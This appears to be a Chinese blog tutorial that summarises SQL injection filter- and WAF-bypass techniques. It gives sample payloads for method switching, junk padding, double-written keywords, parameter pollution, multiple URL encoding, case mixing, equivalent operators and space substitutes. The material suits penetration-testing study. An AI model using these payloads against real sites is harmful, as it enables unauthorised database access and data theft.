SQL注入常见绕过简单小结

1. 更改提交方式

?id=1 and 1=2 – + 页面无变化

切换POST方法后,id=1 and 1=2 – + 页面内容消失说明语句成立,可以继续注入!

2. 垃圾数据绕过

and 1=1 – + 错误
And 1=1 – + 错误
And+1=1 错误

一直没数据显示,尝试垃圾数据填充绕过,原理就是相关参数长度超过WAF或者代码预设长度,绕过防御。
例如查看数据库名:
在这里插入图片描述

3. 双写绕过

原理是代码做了关键词过滤替换,输入select经过滤后变为空格或其他
如果输入selselectect,过滤过程selselect ect,最终带入select查询!

?id=-1 union select 1,2,database() 报错,可能存在WAF

id=-1 union seselectlect 1,2,database()
在这里插入图片描述

4. HTTP参数绕过

浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。

id=1 and 1=2 false
在这里插入图片描述

id=2&id=1’ – + true
在这里插入图片描述

5. 编码绕过

拦截select
多次编码sleect后即可绕过

id=2 select 在参数后输入sleect报错
在这里插入图片描述

id=2 union %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3
在这里插入图片描述

6. 大小写绕过

id=1 order by 3 flase

在这里插入图片描述

id=1 orDer by 3 true
在这里插入图片描述

7. 等价函数

id=1 and 1=1 flase
在这里插入图片描述

id=1 && 1=1 true
在这里插入图片描述

8. 其他

1)注释符号绕过在sql中常用的注释符号有:#、/xxx/、
2)大小写绕过当web正则过滤的时候对大小写不敏感的情况下使用,一般很少会有这种漏洞比如当过滤了select的时候我们可以采用SEleCT来查询。
3)内联注释绕过把要使用的查询语句放在/。。。/中,这样在一般的数据库是不会执行的,但是在mysql中内联注释中的语句会被执行。
4)双写关键字绕过
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。
5)特殊编码绕过
(1)十六进制
(2)ascii编码绕过
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)tip:好像新版mysql不能用了
6)空格过滤绕过
两个空格代替一个空格,用Tab代替空格,%a0=空格: %09 %0a %0d %a0 /**/最基本的绕过方法,用注释替换空格:/* 注释 */

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值